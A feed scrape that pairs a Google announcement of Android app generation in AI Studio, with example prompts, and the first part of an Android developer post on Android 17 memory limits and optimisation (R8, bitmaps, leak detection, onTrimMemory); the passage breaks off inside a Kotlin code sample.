    Starting today <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.</div><div><h2>The power of native Android</h2>While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to <a href="https://developer.android.com/studio/gemini/create-a-new-project-with-ai">quickly create new projects with Gemini in Android Studio</a> directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.<br><h2><span>A seamless, end-to-end workflow</span></h2>
    We have streamlined the entire development lifecycle so you can focus on your idea: </div><div><b><br></b></div><div><b>1. Create your app and iterate in the cloud:</b> Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWOTqLBbAXBibOw5wN_-49Q21RuGxwPjhQESK5r3KctKIPz1uV4dg0_LiK0w6xxdvbLECzMHzQk-kQO9h1VdflTPKi3wM9sKrwZvLcPbtISBnL2H4acnG8gpEuPtbxpDHexKi4S8Eg_hcQv1_dZOCh78pFGi27aiWHMYZc1gsDA_Iq7SRbVRUkHhngrgw/w640-h544/AI_Studio_creation_step_v2.gif"></div><i><div><i>Use the embedded Android Emulator to create and edit Android Apps right in the web browser</i></div></i><div><br></div><b>2.</b> <b>Install instantly: </b>Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHMqfor305bPNhs_X2ahAxG8QmtpxtLKPrq44Uh4q1OpdsZyDlAuIyKJJDk-2v75-ErSLNp8yCyHQZn-6IQ-mkz8mfedEFtEJuD6VILIhtt8ypGpXmRuqM9LoJDDNnn-xrX3_Cr2MRUUcaEhVpJgCsjrjz-kwHHQeIhq8celQjg5Rt5_S5-j-_eSYpYaU/w640-h544/AI_Studio_Install_v2.gif"></div><div><i>Install the app on your Android device</i></div><div><br></div><b>3. Streamlined Publish to Google Play: </b>Using your <a href="https://play.google.com/console/signup">Google Play developer account</a>, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGamXSrq6MNtz-PUt17netBXi_JiOMVERsoYV2mEArG8x5f-zCbU8WwTTaClpruCTsN4o3xeyMylDJLaWe0yCteqZJghc6sEXLYwoLPbTtnoa7761JVR_XEbm2Fj20IX142L2mGzU39vuNwLVVw0bDiSwICFelQZhxO63sG9N3GCo8Xx8wHY6gPEDj8c/w640-h544/AI_Studio_Play_v3.gif"></div><div class="separator"><i>Publish the app to an internal test track in Google Play</i></div>

    <br><div><b>Seamless app development handoff </b></div><div>As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to <a href="https://developer.android.com/studio">Android Studio</a> by downloading a ZIP file or exporting it directly to GitHub.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNTwSv8o6QwB9QYZS_OezD7WhWQZiShTEu5aJz6_oGUfOu-2RQWmANs0jgeC1G1jrsZauVbeWzLHkjoZa_Ai_cjKvgbB_-Qzqh8-obzcNf9zKTJSG4AfvXTogb0xsCxcHRS4P-LHFKk1pm8sTdDjIn8A5b9vX8GRRvHrCvN9_xoPm6hPzN1rct5Aph3Zc/w640-h206/AI_Studio_Download.png"></div><div><span><i>Download zip file of Android app project files</i></span></div><div><span><i><br></i></span></div>When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend <a href="https://developer.android.com/gemini-in-android">Gemini in Android Studio</a>, which features models designed with Android in mind, or Antigravity, which integrates <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.</div><div><h2>Start building today</h2><div>To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:</div><div><ul><li><b>Personal utilities and simple social apps: </b>You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.</li><li><b>Hardware-enabled experiences:</b> Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.</li><li><b>AI-powered experiences: </b>You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.</li></ul></div><h2><span>What’s Next?</span></h2>
    <div>We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:</div><div><ul><li><b>Managing Google Play Test Tracks: </b>Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. </li><li><b>Firebase integrations: </b>Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.</li></ul></div><div><br></div><div>Head over to <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> right now to start building. Here is some inspiration to get you started… </div><div><br></div><table border="1">
        <tbody><tr>
            <td colspan="2">Turn your Google Pixel Watch into an aviation assistant</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.</div>
            </td>
            <td><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRi7_vRI0TgaUYUE-g6kX-Gbg5Vf8ZVNY0H5n-2p8Ml32hyphenhyphenFvWAjp5re6AWpFKHLv1-rokBy_qfXexN61uQ9bpeDE_1DKfTrY3CkepiZMkNIEC5UlvBYng_OqersnyVS5Nu_zCuJJQ2w4NBaxWDC8duVnC0ILvWEpeg49N7aoJh1z6o_-BJHfBCnZKpz0/s320/wearOS_ai_studio.gif"></div><br></td>
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    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">Interactive Harmonium app on Google Pixel Fold</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.</div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8hUGuJaj76omAAgO2RqZKZ_qGvgThfE0tKA-99BJ82G2UOw8h1qT5H7sM5C7n_k2tN5CD0LpJyOFor3HefsKarRPmWTo35ltnDihv2MsddEUcZN5t5fgeJWuJ60Y3XCEqqLhd7gkGyAbM6vnGau0PLE8BohPat8lQ-63fQLudrFUVRVpkFUJ9wMFX1oc/w179-h200/Tiny%20Harmonica%20demo.gif"></div></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">An Android app for guitarists to become better musicians by jamming to backing tracks </td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div><div><span>Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.</span></div><div><span><br></span></div><div><span>The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.</span></div><div><span><br></span></div><div><span>Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.</span></div><div><br></div></div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2pWobL4G7-4deWwvMpRmtfHG1OuXyc_bHwq6fPszYT1Vztm4g_HaN28PVg6Hwd3_N2Qd82HS1QtpUGKCTUFiCuLBwMpcA-8sMC6dJtSDGKEVAaV1kxumYMZi3kTB9NnUIEf9xQPKyyfvKb8MZUyNGnYNAEHTxyHpWCEvN2xgQsj5X09LW_FHU1n0aJQg/w221-h400/guitar_app_AI_Studio.gif"></div></td>
        </tr>
    </tbody></table>

    We are looking forward to seeing what you build next!</div><div><br></div><div>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
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<title><![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer



    
        
    



    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which thes...]]></description>
<link>https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIAoJpwUITPS5C3_eTksMsaslwqPk7SIEQHkwEkGv8572ccdIKcdv6kNC1BOSJPAZTgX5m3liMMv4zdK58e5dWRhUfo39uas23LuhEWf13TFnDTdw-Z5mWn4JarSnC8yCET8Sw15zSF-jQ5zwALriacGK6IjAGxNg61sFtSxzndjvqXxZtJt4qxuzd9A/s2048/Engineering-Memory-Blog-Meta-3.png">

<div class="separator">
    <em>Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer</em>
</div>

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<p>
    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.
</p>

<p>
    To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.
</p>

<div>
    Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.
</div>

<div>
    <p>To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:</p>
    <ol>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Maximize">Maximize bytecode optimization with R8</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Optimize">Optimize image loading</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Detect">Detect and fix memory leaks with Android Studio</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Trim">Trim memory when app leaves visible state</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Advanced">Advanced memory observability with ProfilingManager</a></li>
    </ol>
</div>
<br>
<div>
    <div class="separator">
        
    </div>
    <div>
        <em>A condensed version of this blog post is also available in video format, go check it out!</em>
    </div>
    
    <h3>Understanding Android 17 app memory limits</h3>
    <p>App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.</p>
    <p>Here is a breakdown of the reasons driving this architectural change:</p>
    
    <div>
        <ul>
            <li><b>Preventing cascading kills:</b> When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.</li>
            <li><b>Preserving multitasking and user state:</b> When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.</li>
        </ul>
        
        <div>
            <p>To determine if your app session was impacted by these constraints in the field, you can call <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#getDescription%28%29" target="_blank">getDescription()</a> within <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo" target="_blank">ApplicationExitInfo</a>. If the system applied a limit, the exit reason is reported as <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#REASON_OTHER" target="_blank">REASON_OTHER</a> and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/trigger-based-capture" target="_blank">trigger-based profiling</a> using <a href="https://developer.android.com/about/versions/17/features#anomaly-profiling-trigger" target="_blank">TRIGGER_TYPE_ANOMALY</a> to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.</p>
            <p>We have also expanded our <a href="https://developer.android.com/about/versions/17/behavior-changes-all#app-memory-limits" target="_blank">memory limits documentation</a> to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. </p>
        </div>
    </div>
</div>

<div>
    <h3>Maximize bytecode optimization with R8</h3>
    <p>A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. </p>
    <p>R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.</p>
</div>

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<div>
    <i>The digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and boosted performance metrics by up to 35%.</i>
</div>

<div>
    <p>To properly configure R8 in your <code>build.gradle</code> file:</p>
    <ul>
        <li>Set <code>isShrinkResources = true</code> and <code>isMinifyEnabled = true</code>.</li>
        <li>Use <code>proguard-android-optimize.txt</code> instead of the legacy <code>proguard-android.txt</code>, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.</li>
        <li>Remove <code>android.enableR8.fullMode = false</code> from your <code>gradle.properties</code>.</li>
    </ul>
    
    <p>
        If you are using reflection in your code base, then add <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-overview#where-to-add-rules" target="_blank">Keep rules</a> to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.
    </p>
    <p>To get the maximum optimization, make sure to follow these best practices in your keep rule file.</p>
    
    <ul>
        <li>Remove global options like <code>-dontoptimize</code>, <code>-dontshrink</code>, and <code>-dontobfuscate</code> that prevent R8 from optimizing the entire codebase </li>
        <li>Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.</li>
        <li>Refine the broad package wide keep rules to target only specific classes or methods.</li>
    </ul>
    
    <p>To see more best practices, view our <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-best-practices" target="_blank">keep rules documentation</a>.</p>
    
    <h3>Library Developer R8 Best Practices</h3>
    <p>If you are a library developer, strictly place the rules your consumers need into your <code>consumer-rules</code> file, and keep your library's internal protection rules in your <code>proguard-rules.pro</code> file. For more information on how to optimize libraries, see <a href="https://developer.android.com/topic/performance/app-optimization/library-optimization" target="_blank">Optimization for library authors</a>.</p>
    
    <h3>R8 Configuration Analyzer</h3>
    <p>To audit your R8 optimization, use the <b><a href="http://developer.android.com/r8-analyzer" target="_blank">Configuration Analyzer</a></b>. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.</p>
    <p>Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.</p>
</div>

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<div>
    <i>The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.</i>
</div>

<div>
    <h4><span>R8 Agent Skill </span></h4>
    <p>You can also leverage the <b><a href="https://github.com/android/skills/tree/main/performance/r8-analyzer" target="_blank">R8 Agent Skill</a></b> with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. <i>(Insights from AI-driven skills will require technical verification)</i></p>
</div>

<h3>Optimize image loading</h3>
<div>
    <p>Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.</p>
    <p>Google recommends leveraging image loading libraries <b><a href="https://github.com/coil-kt/coil" target="_blank">Coil</a></b> for Kotlin-first projects, particularly when developing with Jetpack Compose and <b><a href="https://github.com/bumptech/glide" target="_blank">Glide</a></b> for Java-based applications.</p>
    
    <h4><span>Adopt these five best practices</span></h4>
    <ol>
        <li><b>Downsample images:</b> If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use <a href="https://developer.android.com/topic/performance/graphics/load-bitmap" target="_blank">inSampleSize</a> to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/resource/bitmap/DownsampleStrategy.html" target="_blank">DownsampleStrategy</a> and <a href="https://coil-kt.github.io/coil/image_loaders/" target="_blank">ImageLoader</a> respectively.</li>
        <li><b>Cropping:</b> Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize <a href="https://developer.android.com/reference/android/graphics/drawable/InsetDrawable" target="_blank">InsetDrawable</a> or apply padding directly within the View or Composable containing the bitmap.</li>
        <li><b>Config:</b> Balance memory and quality by choosing the right pixel format. Use <code>RGB_565</code> when transparency isn't needed, which uses half the memory of the default <code>ARGB_8888</code> format. In Glide you can configure this by using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/DecodeFormat.html" target="_blank">DecodeFormat</a> and in Coil you can use <a href="https://coil-kt.github.io/coil/api/coil-core/coil3.request/-image-request/" target="_blank">bitmapConfig</a> property.</li>
        <li><b>Prioritize vector drawables:</b> For basic geometric assets, leverage <a href="https://developer.android.com/reference/android/graphics/drawable/ShapeDrawable" target="_blank">ShapeDrawable</a> as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.</li>
        <li><b>Reuse:</b> If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call <code>bitmap.recycle()</code> and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.</li>
    </ol>
    
    <p>Check out our documentation on <a href="https://developer.android.com/develop/ui/compose/graphics/images/optimization" target="_blank">Optimizing performance for images</a> to learn more.</p>
    
    <h4><span>Android Studio tooling</span></h4>
    <p>You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:</p>
    <ol>
        <li>Open the <b>Profiler</b> tab in Android Studio</li>
        <li>Click <b>Heap Dump</b> (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.</li>
        <li>Scan the analysis results for the <b>yellow warning triangle</b> ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.</li>
        <li>Click on any flagged entry to open the <b>Bitmap Preview</b> pane, allowing you to see exactly which image is the repeat offender.</li>
        <li>Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.</li>
    </ol>
</div>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s2379/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"><img border="0" data-original-height="1162" data-original-width="2379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s16000/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"></a></div><div class="separator"><i>Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.</i></div>

<h3>Detect and fix memory leaks with Android Studio</h3>
<p>Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).</p>
<p>Android Studio Panda 3 features a dedicated <a href="https://square.github.io/leakcanary/" target="_blank">LeakCanary</a> profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.</p>
<p>The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.</p>

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<div>
    <i>LeakCanary memory leak analysis contextualized with <b>Go to declaration</b> for debugging</i>
</div>

<p>Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.</p>

<div>
    <h4><span>Examples of common memory leaks </span></h4>
    <p>Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:</p>
    <ul>
        <li>Retaining references to Fragments, Activities, or Views that are no longer in use.</li>
        <li>Mismanaging Context references.</li>
        <li>Failing to properly unregister observers, listeners, and receivers.</li>
        <li>Creating static references to objects that are bound to components with shorter lifecycles.</li>
    </ul>
    
    <p>Here are a few example scenarios:</p>
    
    <div align="left" dir="ltr">
        <table>
            <colgroup>
                <col>
                <col>
                <col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Scenario</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Compose-based example</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">View-based example</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Context</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Passing LocalContext.current to a ViewModel</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Keep <code>Context</code> dependent logic within the UI layer. For non-UI layers, refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Storing an <code>Activity</code> in a companion object or static variable.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Don’t hold static references to UI components. Refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Listeners</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Using <code>DisposableEffect</code> to start a listener but leaving <code>onDispose</code> empty.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Perform the unregistration and <a href="https://developer.android.com/develop/ui/compose/side-effects#disposableeffect">cleanup logic</a> inside the <code>onDispose</code> block.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Registering for SensorManager updates and forgetting to unregister.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Manually call <code>unregisterListener()</code> in <code>onStop()</code> or <code>onDestroy()</code> lifecycle.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Views</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Holding a reference to a legacy <code>View</code> inside an <code>AndroidView</code> without a release strategy.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Use the <code>release</code> block of the <code>AndroidView</code> composable to clean up the legacy <code>View</code>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Keeping a reference to a view binding object after the <code>Fragment</code> is destroyed.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Set the binding variable to <code>null</code> inside the <code>onDestroyView</code>() lifecycle method.</span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
</div>

<h3>Trim memory when app leaves visible state</h3>
<p>Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in <a href="https://developer.android.com/topic/performance/memory-overview" target="_blank">Overview of memory management</a>. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.</p>
<p>If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the <code>ComponentCallbacks2</code> interface. You can implement <code>onTrimMemory</code> in your <code>Activity</code>, <code>Fragment</code>, <code>Service</code>, or even your custom <code>Application</code> class. Using it in the <code>Application</code> class is highly effective for global cache management.</p>
<p>The provided <a href="https://developer.android.com/reference/android/content/ComponentCallbacks2#onTrimMemory(int)" target="_blank">onTrimMemory()</a> callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.</p>
<p>In terms of memory lifecycle management, your implementation should focus <b>exclusively</b> on <code>TRIM_MEMORY_UI_HIDDEN</code> and <code>TRIM_MEMORY_BACKGROUND</code>. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.</p>
<p><code>TRIM_MEMORY_UI_HIDDEN</code>: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.</p>
<p><code>TRIM_MEMORY_BACKGROUND</code>: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.</p>

<pre><code>import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

